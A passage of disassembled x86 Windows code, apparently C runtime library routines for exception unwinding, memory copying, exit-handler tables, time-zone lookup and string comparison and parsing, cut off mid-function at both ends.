mov [ebp+var_24], offset sub_417DAE
mov eax, [ebp+arg_10]
mov [ebp+var_20], eax
mov eax, [ebp+arg_4]
mov [ebp+var_1C], eax
mov eax, [ebp+arg_14]
mov [ebp+var_18], eax
mov eax, [ebp+arg_18]
mov [ebp+var_14], eax
and [ebp+var_10], 0
and [ebp+var_C], 0
and [ebp+var_8], 0
and [ebp+var_4], 0
mov [ebp+var_10], offset loc_417D80
mov [ebp+var_C], esp
mov [ebp+var_8], ebp
mov eax, large fs:0
mov [ebp+var_28], eax
lea eax, [ebp+var_28]
mov large fs:0, eax
mov [ebp+var_34], 1
mov eax, [ebp+arg_0]
mov [ebp+var_30], eax
mov eax, [ebp+arg_8]
mov [ebp+var_2C], eax
lea eax, [ebp+var_30]
push eax
mov eax, [ebp+arg_0]
push dword ptr [eax]
call dword_489530
pop ecx
pop ecx
and [ebp+var_34], 0
loc_417D80: ; DATA XREF: sub_417CFA+3Co
cmp [ebp+var_4], 0
jz short loc_417D9D
mov ebx, large fs:0
mov eax, [ebx]
mov ebx, [ebp+var_28]
mov [ebx], eax
mov large fs:0, ebx
jmp short loc_417DA6
; ---------------------------------------------------------------------------
loc_417D9D: ; CODE XREF: sub_417CFA+8Aj
mov eax, [ebp+var_28]
mov large fs:0, eax
loc_417DA6: ; CODE XREF: sub_417CFA+A1j
mov eax, [ebp+var_34]
pop edi
pop esi
pop ebx
leave
retn
sub_417CFA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DAE proc near ; DATA XREF: sub_417CFA+Do
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ebx
push esi
push edi
cld
mov eax, [ebp+arg_0]
mov eax, [eax+4]
and eax, 66h
test eax, eax
jz short loc_417DD1
mov eax, [ebp+arg_4]
mov dword ptr [eax+24h], 1
push 1
pop eax
jmp short loc_417E1E
; ---------------------------------------------------------------------------
loc_417DD1: ; CODE XREF: sub_417DAE+12j
push 1
mov eax, [ebp+arg_4]
push dword ptr [eax+14h]
mov eax, [ebp+arg_4]
push dword ptr [eax+10h]
mov eax, [ebp+arg_4]
push dword ptr [eax+8]
push 0
push [ebp+arg_8]
mov eax, [ebp+arg_4]
push dword ptr [eax+0Ch]
push [ebp+arg_0]
call sub_41C9AA
add esp, 20h
mov eax, [ebp+arg_4]
cmp dword ptr [eax+24h], 0
jnz short loc_417E0F
push [ebp+arg_0]
push [ebp+arg_4]
call sub_417BFC
loc_417E0F: ; CODE XREF: sub_417DAE+54j
mov ebx, [ebp+arg_4]
mov esp, [ebx+1Ch]
mov ebp, [ebx+20h]
jmp dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
push 1
pop eax
loc_417E1E: ; CODE XREF: sub_417DAE+21j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_417DAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417E23 proc near ; CODE XREF: sub_41CA45+C6p
; sub_41CBEC+43p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
cmp [ebp+arg_4], 0
push edi
mov edi, [ebp+arg_0]
mov esi, [edi+0Ch]
mov ebx, [edi+10h]
mov eax, esi
mov [ebp+arg_0], esi
mov [ebp+var_4], eax
jl short loc_417E7A
loc_417E41: ; CODE XREF: sub_417E23+52j
cmp esi, 0FFFFFFFFh
jnz short loc_417E4B
call sub_41D252
loc_417E4B: ; CODE XREF: sub_417E23+21j
mov ecx, [ebp+arg_8]
dec esi
lea eax, [esi+esi*4]
cmp [ebx+eax*4+4], ecx
lea eax, [ebx+eax*4]
jge short loc_417E60
cmp ecx, [eax+8]
jle short loc_417E65
loc_417E60: ; CODE XREF: sub_417E23+36j
cmp esi, 0FFFFFFFFh
jnz short loc_417E71
loc_417E65: ; CODE XREF: sub_417E23+3Bj
mov eax, [ebp+arg_0]
dec [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+arg_0], esi
loc_417E71: ; CODE XREF: sub_417E23+40j
cmp [ebp+arg_4], 0
jge short loc_417E41
mov eax, [ebp+var_4]
loc_417E7A: ; CODE XREF: sub_417E23+1Cj
mov ecx, [ebp+arg_C]
inc esi
mov [ecx], esi
mov ecx, [ebp+arg_10]
mov [ecx], eax
cmp eax, [edi+0Ch]
ja short loc_417E8E
cmp esi, eax
jbe short loc_417E93
loc_417E8E: ; CODE XREF: sub_417E23+65j
call sub_41D252
loc_417E93: ; CODE XREF: sub_417E23+69j
lea eax, [esi+esi*4]
pop edi
pop esi
lea eax, [ebx+eax*4]
pop ebx
leave
retn
sub_417E23 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EA0 proc near ; CODE XREF: sub_41F4A0+5Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_417EB8
push [ebp+arg_0]
call sub_42274C ; RtlUnwind
loc_417EB8: ; DATA XREF: sub_417EA0+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_417EA0 endp
; =============== S U B R O U T I N E =======================================
sub_417EC0 proc near ; DATA XREF: sub_417EE2+Ao
; sub_417F4A+9o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_C = dword ptr 10h
mov ecx, [esp+arg_0]
test dword ptr [ecx+4], 6
mov eax, 1
jz short locret_417EE1
mov eax, [esp+arg_4]
mov edx, [esp+arg_C]
mov [edx], eax
mov eax, 3
locret_417EE1: ; CODE XREF: sub_417EC0+10j
retn
sub_417EC0 endp
; =============== S U B R O U T I N E =======================================
sub_417EE2 proc near ; CODE XREF: sub_41CEC6+Dp
; sub_41F4A0+67p ...
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset sub_417EC0
push large dword ptr fs:0
mov large fs:0, esp
loc_417EFF: ; CODE XREF: sub_417EE2:loc_417F3Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_417F3C
cmp esi, [esp+1Ch+arg_4]
jz short loc_417F3C
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov [esp+1Ch+var_14], ecx
mov [eax+0Ch], ecx
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_417F3A
push 101h
mov eax, [ebx+esi*4+8]
call sub_417F76
call dword ptr [ebx+esi*4+8]
loc_417F3A: ; CODE XREF: sub_417EE2+44j
jmp short loc_417EFF
; ---------------------------------------------------------------------------
loc_417F3C: ; CODE XREF: sub_417EE2+2Aj
; sub_417EE2+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_417EE2 endp
; =============== S U B R O U T I N E =======================================
sub_417F4A proc near ; CODE XREF: sub_41CEE6+37p
xor eax, eax
mov ecx, large fs:0
cmp dword ptr [ecx+4], offset sub_417EC0
jnz short locret_417F6C
mov edx, [ecx+0Ch]
mov edx, [edx+0Ch]
cmp [ecx+8], edx
jnz short locret_417F6C
mov eax, 1
locret_417F6C: ; CODE XREF: sub_417F4A+10j
; sub_417F4A+1Bj
retn
sub_417F4A endp
; =============== S U B R O U T I N E =======================================
sub_417F6D proc near ; CODE XREF: sub_41D1B0+1Ep
; sub_41D1B0+40p
push ebx
push ecx
mov ebx, offset dword_438A5C
jmp short loc_417F80
sub_417F6D endp
; =============== S U B R O U T I N E =======================================
sub_417F76 proc near ; CODE XREF: sub_417EE2+4Fp
; sub_41F4A0+78p
push ebx
push ecx
mov ebx, offset dword_438A5C
mov ecx, [ebp+8]
loc_417F80: ; CODE XREF: sub_417F6D+7j
mov [ebx+8], ecx
mov [ebx+4], eax
mov [ebx+0Ch], ebp
pop ecx
pop ebx
retn 4
sub_417F76 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_417F90 proc near ; CODE XREF: sub_403FF0+5p
; sub_40418F+5p ...
push 0FFFFFFFFh
push eax
mov eax, large fs:0
push eax
mov eax, [esp+0Ch]
mov large fs:0, esp
mov [esp+0Ch], ebp
lea ebp, [esp+0Ch]
push eax
retn
sub_417F90 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417FAF proc near ; CODE XREF: sub_404620+22p
; .data:004224E2p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_41793B
pop ecx
retn
sub_417FAF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417FC0 proc near ; CODE XREF: sub_40468D+3Ap
; sub_41AAB4+2EFp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_417FE0
cmp edi, eax
jb loc_418158
loc_417FE0: ; CODE XREF: sub_417FC0+16j
test edi, 3
jnz short loc_417FFC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_41801C
rep movsd
jmp off_418108[edx*4]
; ---------------------------------------------------------------------------
loc_417FFC: ; CODE XREF: sub_417FC0+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_418014
and eax, 3
add ecx, eax
jmp dword ptr loc_41801C+4[eax*4]
; ---------------------------------------------------------------------------
loc_418014: ; CODE XREF: sub_417FC0+46j
jmp dword ptr loc_418118[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41801C: ; CODE XREF: sub_417FC0+31j
; sub_417FC0+8Ej ...
jmp off_41809C[ecx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_41802C+4
dd offset loc_41805C
; ---------------------------------------------------------------------------
loc_41802C: ; DATA XREF: sub_417FC0+64o
add byte ptr [eax-2EDCFFBFh], 8Ah
push es
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_41801C
rep movsd
jmp off_418108[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_41805C: ; DATA XREF: sub_417FC0+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_41801C
rep movsd
jmp off_418108[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_41801C
rep movsd
jmp off_418108[edx*4]
; ---------------------------------------------------------------------------
align 4
off_41809C dd offset loc_4180FF ; DATA XREF: sub_417FC0:loc_41801Cr
dd offset loc_4180EC
dd offset loc_4180E4
dd offset loc_4180DC
dd offset loc_4180D4
dd offset loc_4180CC
dd offset loc_4180C4
dd offset loc_4180BC
; ---------------------------------------------------------------------------
loc_4180BC: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_4180C4: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_4180CC: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4180D4: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4180DC: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4180E4: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4180EC: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4180FF: ; CODE XREF: sub_417FC0:loc_41801Cj
; DATA XREF: sub_417FC0:off_41809Co
jmp off_418108[edx*4]
; ---------------------------------------------------------------------------
align 4
off_418108 dd offset loc_418118 ; DATA XREF: sub_417FC0+35r
; sub_417FC0+92r ...
dd offset loc_418120
dd offset loc_41812C
dd offset loc_418140
; ---------------------------------------------------------------------------
loc_418118: ; CODE XREF: sub_417FC0+35j
; sub_417FC0+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418120: ; CODE XREF: sub_417FC0+35j
; sub_417FC0+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_41812C: ; CODE XREF: sub_417FC0+35j
; sub_417FC0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_418140: ; CODE XREF: sub_417FC0+35j
; sub_417FC0+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_418158: ; CODE XREF: sub_417FC0+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_41818C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_418180
std
rep movsd
cld
jmp off_4182A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418180: ; CODE XREF: sub_417FC0+1B1j
; sub_417FC0+208j ...
neg ecx
jmp off_418250[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_41818C: ; CODE XREF: sub_417FC0+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_4181A4
and eax, 3
sub ecx, eax
jmp dword ptr loc_4181A4+4[eax*4]
; ---------------------------------------------------------------------------
loc_4181A4: ; CODE XREF: sub_417FC0+1D6j
; DATA XREF: sub_417FC0+1DDr
jmp off_4182A0[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov eax, 0D8004181h
add dword ptr [ecx+0], offset loc_418200
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_418180
std
rep movsd
cld
jmp off_4182A0[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_418180
std
rep movsd
cld
jmp off_4182A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_418200: ; DATA XREF: sub_417FC0+1F1o
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_418180
std
rep movsd
cld
jmp off_4182A0[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_418254
dd offset loc_41825C
dd offset loc_418264
dd offset loc_41826C
dd offset loc_418274
dd offset loc_41827C
dd offset loc_418284
off_418250 dd offset loc_418297 ; DATA XREF: sub_417FC0+1C2r
; ---------------------------------------------------------------------------
loc_418254: ; DATA XREF: sub_417FC0+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_41825C: ; DATA XREF: sub_417FC0+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_418264: ; DATA XREF: sub_417FC0+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_41826C: ; DATA XREF: sub_417FC0+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_418274: ; DATA XREF: sub_417FC0+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_41827C: ; DATA XREF: sub_417FC0+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_418284: ; DATA XREF: sub_417FC0+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_418297: ; CODE XREF: sub_417FC0+1C2j
; DATA XREF: sub_417FC0:off_418250o
jmp off_4182A0[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_4182A0 dd offset loc_4182B0 ; DATA XREF: sub_417FC0+1B7r
; sub_417FC0:loc_4181A4r ...
dd offset loc_4182B8
dd offset loc_4182C8
dd offset loc_4182DC
; ---------------------------------------------------------------------------
loc_4182B0: ; CODE XREF: sub_417FC0+1B7j
; sub_417FC0:loc_4181A4j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4182B8: ; CODE XREF: sub_417FC0+1B7j
; sub_417FC0:loc_4181A4j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4182C8: ; CODE XREF: sub_417FC0+1B7j
; sub_417FC0:loc_4181A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4182DC: ; CODE XREF: sub_417FC0+1B7j
; sub_417FC0:loc_4181A4j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_417FC0 endp
; =============== S U B R O U T I N E =======================================
sub_4182F5 proc near ; CODE XREF: sub_4046F4+34p
; sub_4046F4+4Fp ...
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_41789B
pop ecx
pop ecx
retn
sub_4182F5 endp
; =============== S U B R O U T I N E =======================================
sub_418303 proc near ; CODE XREF: sub_418370+4p
arg_0 = dword ptr 4
push esi
push dword_48AB3C
call sub_41D2A8
mov edx, dword_48AB3C
pop ecx
mov ecx, dword_48AB38
mov esi, ecx
sub esi, edx
add esi, 4
cmp eax, esi
pop esi
jnb short loc_418362
push edx
call sub_41D2A8
add eax, 10h
push eax
push dword_48AB3C
call sub_41914F
add esp, 0Ch
test eax, eax
jnz short loc_418345
retn
; ---------------------------------------------------------------------------
loc_418345: ; CODE XREF: sub_418303+3Fj
mov ecx, dword_48AB38
sub ecx, dword_48AB3C
mov dword_48AB3C, eax
sar ecx, 2
lea ecx, [eax+ecx*4]
mov dword_48AB38, ecx
loc_418362: ; CODE XREF: sub_418303+23j
mov eax, [esp+arg_0]
mov [ecx], eax
add dword_48AB38, 4
retn
sub_418303 endp
; =============== S U B R O U T I N E =======================================
sub_418370 proc near ; CODE XREF: sub_4047E1+1Ap
arg_0 = dword ptr 4
push [esp+arg_0]
call sub_418303
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
retn
sub_418370 endp
; =============== S U B R O U T I N E =======================================
sub_418382 proc near ; DATA XREF: .data:00425018o
push 80h
call sub_417889
test eax, eax
pop ecx
mov dword_48AB3C, eax
jnz short loc_4183A3
push 18h
call sub_4199DA
mov eax, dword_48AB3C
pop ecx
loc_4183A3: ; CODE XREF: sub_418382+12j
and dword ptr [eax], 0
mov eax, dword_48AB3C
mov dword_48AB38, eax
retn
sub_418382 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4183B1 proc near ; CODE XREF: sub_404904+19Fp
; sub_405285+4Ep
var_CC = byte ptr -0CCh
var_32 = word ptr -32h
var_24 = dword ptr -24h
var_20 = word ptr -20h
var_1E = word ptr -1Eh
var_1A = word ptr -1Ah
var_18 = word ptr -18h
var_16 = word ptr -16h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 0CCh
lea eax, [ebp+var_10]
push eax
call dword_42306C ; GetLocalTime
lea eax, [ebp+var_20]
push eax
call dword_423190 ; GetSystemTime
mov ax, [ebp+var_16]
cmp ax, word_4894A2
jnz short loc_418416
mov ax, [ebp+var_18]
cmp ax, word_4894A0
jnz short loc_418416
mov ax, [ebp+var_1A]
cmp ax, word_48949E
jnz short loc_418416
mov ax, [ebp+var_1E]
cmp ax, word_48949A
jnz short loc_418416
mov ax, [ebp+var_20]
cmp ax, word_489498
jnz short loc_418416
mov eax, dword_489490
jmp short loc_41845B
; ---------------------------------------------------------------------------
loc_418416: ; CODE XREF: sub_4183B1+28j
; sub_4183B1+35j ...
lea eax, [ebp+var_CC]
push eax
call dword_42318C ; GetTimeZoneInformation
cmp eax, 0FFFFFFFFh
jz short loc_418443
cmp eax, 2
jnz short loc_41843F
cmp [ebp+var_32], 0
jz short loc_41843F
cmp [ebp+var_24], 0
jz short loc_41843F
push 1
pop eax
jmp short loc_418446
; ---------------------------------------------------------------------------
loc_41843F: ; CODE XREF: sub_4183B1+7Aj
; sub_4183B1+81j ...
xor eax, eax
jmp short loc_418446
; ---------------------------------------------------------------------------
loc_418443: ; CODE XREF: sub_4183B1+75j
or eax, 0FFFFFFFFh
loc_418446: ; CODE XREF: sub_4183B1+8Cj
; sub_4183B1+90j
push esi
push edi
lea esi, [ebp+var_20]
mov edi, offset word_489498
movsd
movsd
movsd
movsd
pop edi
mov dword_489490, eax
pop esi
loc_41845B: ; CODE XREF: sub_4183B1+63j
push eax
movzx eax, [ebp+var_4]
push eax
movzx eax, [ebp+var_6]
push eax
movzx eax, [ebp+var_8]
push eax
movzx eax, [ebp+var_A]
push eax
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_10]
push eax
call sub_41D309
mov ecx, [ebp+arg_0]
add esp, 1Ch
test ecx, ecx
jz short locret_41848B
mov [ecx], eax
locret_41848B: ; CODE XREF: sub_4183B1+D6j
leave
retn
sub_4183B1 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418490 proc near ; CODE XREF: sub_404904+18p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push edi
push esi
push ebx
mov esi, [ebp+arg_4]
mov edi, [ebp+arg_0]
lea eax, dword_489538
cmp dword ptr [eax+8], 0
jnz short loc_4184E3
mov al, 0FFh
mov edi, edi
loc_4184AC: ; CODE XREF: sub_418490+28j
; sub_418490+48j
or al, al
jz short loc_4184DE
mov al, [esi]
inc esi
mov ah, [edi]
inc edi
cmp ah, al
jz short loc_4184AC
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
xchg ah, al
sub al, 41h
cmp al, 1Ah
sbb cl, cl
and cl, 20h
add al, cl
add al, 41h
cmp al, ah
jz short loc_4184AC
sbb al, al
sbb al, 0FFh
loc_4184DE: ; CODE XREF: sub_418490+1Ej
movsx eax, al
jmp short loc_418517
; ---------------------------------------------------------------------------
loc_4184E3: ; CODE XREF: sub_418490+16j
mov eax, 0FFh
xor ebx, ebx
mov edi, edi
loc_4184EC: ; CODE XREF: sub_418490+68j
; sub_418490+80j
or al, al
jz short loc_418517
mov al, [esi]
inc esi
mov bl, [edi]
inc edi
cmp al, bl
jz short loc_4184EC
push eax
push ebx
call sub_418E01
mov ebx, eax
add esp, 4
call sub_418E01
add esp, 4
cmp bl, al
jz short loc_4184EC
sbb eax, eax
sbb eax, 0FFFFFFFFh
loc_418517: ; CODE XREF: sub_418490+51j
; sub_418490+5Ej
pop ebx
pop esi
pop edi
leave
retn
sub_418490 endp
; =============== S U B R O U T I N E =======================================
sub_41851C proc near ; CODE XREF: sub_41A89C+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_418533
add esp, 10h
retn
sub_41851C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418533 proc near ; CODE XREF: sub_41851C+Ep
; sub_41873B+Ep
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
and [ebp+var_8], 0
push esi
push edi
mov edi, [ebp+arg_0]
mov bl, [edi]
lea esi, [edi+1]
mov [ebp+var_4], esi
loc_41854B: ; CODE XREF: sub_418533+46j
cmp dword_438C8C, 1
jle short loc_418563
movzx eax, bl
push 8
push eax
call sub_41A342
pop ecx
pop ecx
jmp short loc_418572
; ---------------------------------------------------------------------------
loc_418563: ; CODE XREF: sub_418533+1Fj
mov ecx, off_438A80
movzx eax, bl
mov al, [ecx+eax*2]
and eax, 8
loc_418572: ; CODE XREF: sub_418533+2Ej
test eax, eax
jz short loc_41857B
mov bl, [esi]
inc esi
jmp short loc_41854B
; ---------------------------------------------------------------------------
loc_41857B: ; CODE XREF: sub_418533+41j
cmp bl, 2Dh
mov [ebp+var_4], esi
jnz short loc_418589
or [ebp+arg_C], 2
jmp short loc_41858E
; ---------------------------------------------------------------------------
loc_418589: ; CODE XREF: sub_418533+4Ej
cmp bl, 2Bh
jnz short loc_418594
loc_41858E: ; CODE XREF: sub_418533+54j
mov bl, [esi]
inc esi
mov [ebp+var_4], esi
loc_418594: ; CODE XREF: sub_418533+59j
mov eax, [ebp+arg_8]
test eax, eax
jl loc_41872B
cmp eax, 1
jz loc_41872B
cmp eax, 24h
jg loc_41872B
push 10h
test eax, eax
pop ecx
jnz short loc_4185DC
cmp bl, 30h
jz short loc_4185C6
mov [ebp+arg_8], 0Ah
jmp short loc_4185F8
; ---------------------------------------------------------------------------
loc_4185C6: ; CODE XREF: sub_418533+88j
mov al, [esi]
cmp al, 78h
jz short loc_4185D9
cmp al, 58h
jz short loc_4185D9
mov [ebp+arg_8], 8
jmp short loc_4185F8
; ---------------------------------------------------------------------------
loc_4185D9: ; CODE XREF: sub_418533+97j
; sub_418533+9Bj
mov [ebp+arg_8], ecx
loc_4185DC: ; CODE XREF: sub_418533+83j
cmp [ebp+arg_8], ecx
jnz short loc_4185F8
cmp bl, 30h
jnz short loc_4185F8
mov al, [esi]
cmp al, 78h
jz short loc_4185F0
cmp al, 58h
jnz short loc_4185F8
loc_4185F0: ; CODE XREF: sub_418533+B7j
mov bl, [esi+1]
inc esi
inc esi
mov [ebp+var_4], esi
loc_4185F8: ; CODE XREF: sub_418533+91j
; sub_418533+A4j ...
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
mov edi, 103h
mov [ebp+var_C], eax
loc_418608: ; CODE XREF: sub_418533+16Cj
cmp dword_438C8C, 1
movzx esi, bl
jle short loc_418620
push 4
push esi
call sub_41A342
pop ecx
pop ecx
jmp short loc_41862B
; ---------------------------------------------------------------------------
loc_418620: ; CODE XREF: sub_418533+DFj
mov eax, off_438A80
mov al, [eax+esi*2]
and eax, 4
loc_41862B: ; CODE XREF: sub_418533+EBj
test eax, eax
jz short loc_418637
movsx ecx, bl
sub ecx, 30h
jmp short loc_418669
; ---------------------------------------------------------------------------
loc_418637: ; CODE XREF: sub_418533+FAj
cmp dword_438C8C, 1
jle short loc_41864B
push edi
push esi
call sub_41A342
pop ecx
pop ecx
jmp short loc_418656
; ---------------------------------------------------------------------------
loc_41864B: ; CODE XREF: sub_418533+10Bj
mov eax, off_438A80
mov ax, [eax+esi*2]
and eax, edi
loc_418656: ; CODE XREF: sub_418533+116j
test eax, eax
jz short loc_4186A4
movsx eax, bl
push eax
call sub_41D3CB
pop ecx
mov ecx, eax
sub ecx, 37h
loc_418669: ; CODE XREF: sub_418533+102j
cmp ecx, [ebp+arg_8]
jnb short loc_4186A4
mov esi, [ebp+var_8]
or [ebp+arg_C], 8
cmp esi, [ebp+var_C]
jb short loc_41868E
jnz short loc_418688
or eax, 0FFFFFFFFh
xor edx, edx
div [ebp+arg_8]
cmp ecx, edx
jbe short loc_41868E
loc_418688: ; CODE XREF: sub_418533+147j
or [ebp+arg_C], 4
jmp short loc_418697
; ---------------------------------------------------------------------------
loc_41868E: ; CODE XREF: sub_418533+145j
; sub_418533+153j
imul esi, [ebp+arg_8]
add esi, ecx
mov [ebp+var_8], esi
loc_418697: ; CODE XREF: sub_418533+159j
mov eax, [ebp+var_4]
inc [ebp+var_4]
mov bl, [eax]
jmp loc_418608
; ---------------------------------------------------------------------------
loc_4186A4: ; CODE XREF: sub_418533+125j
; sub_418533+139j
mov ecx, [ebp+arg_C]
dec [ebp+var_4]
mov edx, [ebp+arg_4]
test cl, 8
jnz short loc_4186C2
test edx, edx
jz short loc_4186BC
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
